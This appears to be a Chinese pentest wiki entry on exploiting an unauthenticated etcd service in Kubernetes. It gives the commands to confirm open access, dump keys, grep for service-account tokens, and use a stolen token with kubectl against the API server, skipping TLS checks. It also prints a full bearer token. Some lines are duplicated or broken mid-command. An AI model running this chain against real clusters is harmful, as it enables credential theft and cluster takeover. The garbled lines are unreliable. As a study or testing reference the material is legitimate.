作者 | 修订时间 |
---|---|
2023-07-13 23:30:20 |
etcd
etcd 是一种分布式键值存储,提供了一种可靠的方式来管理分布式系统的协调状态。etcd 于 2013 年 6 月由 CoreOS(自 2018 年起成为 Red Hat 的一部分)首次发布。自 2014 年在 Kubernetes 中采用以来,etcd 已成为 Kubernetes 集群管理软件设计的基本组成部分,并且 etcd 社区呈指数级增长。etcd 目前已在多家公司的生产环境中使用,包括 AWS、Google Cloud Platform、Azure 等大型云提供商环境以及其他本地 Kubernetes 实施。
再 kubernetes
中,默认使用etcd v3
来存储数据,如果我们能够控制etcd服务
, 也就拥有了整个集群的控制权
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl getexport ETCDCTL_API=3
export ETCD
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl get / --prefix --keys-only
利用
etcd
也存在 api
和 命令行两种模式,这里以 etcdctl
利用为主
以下结果即存在未授权
curl http://192.168.3.105:2379/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
# 或者
curl http://192.168.3.105:2380/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
那么可以通过etcdctl
命令行工具运行查询token
键
curl -LO https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz
tar xvf etcd-v3.5.9-linux-amd64.tar.gz && ln -s ./etcd-v3.5.9-linux-amd64/etcdctl /usr/bin/etcdctl
etcdctl -h
获取所有带token键
etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | grep token # linux
etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | findstr token # windows
获取token
值
最后通过kubectl
利用即可
kubectl get po -A -s "https://192.168.3.105:6443" --token eyJhbGciOiJSUzI1NiIsImtpZCI6IlVxV2xjZ09VU1dJUEJGSzRPWmp3RFk2Q0lMdHpJWEFpSmpsTHNaRmtvNmMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1jc3p6cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjVlY2Y2N2JkLTJiZGMtNGNkYS1hMTljLTFjNTQ0Mzc1ZWI3YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTpuYW1lc3BhY2UtY29udHJvbGxlciJ9.NyGdUVNba_XPyRnxRgjFKHpzPhzMOTFtkv1zG1EvN-982pN9P4WYLk-XrmFfEz--kt1LyFXujjQTr9gCL7g-OdW10IXo8_WRFmaM_V7FcOhPWxNNeY9WNMpcGdZ1VmIjOLln1lC8VVXJyt8YFFcTnc9sfZpj_Bc_d1L_RqUdu9IDtEZhN3ZQqdMbix__IdmJTnS9M2d_h6sl2ZlxpqeULJ86PkfvTMkRfuBTIuGNG2adFhe72eQjAK6xCk9liIJnaRDxRVADMKGw2RDykoCo8SvDx8fdi2Vv_EAofihw5zZz4YHro6mkCLclB725kCDonVHOUZncZcK4HtQHhhP5YQ --insecure-skip-tls-verify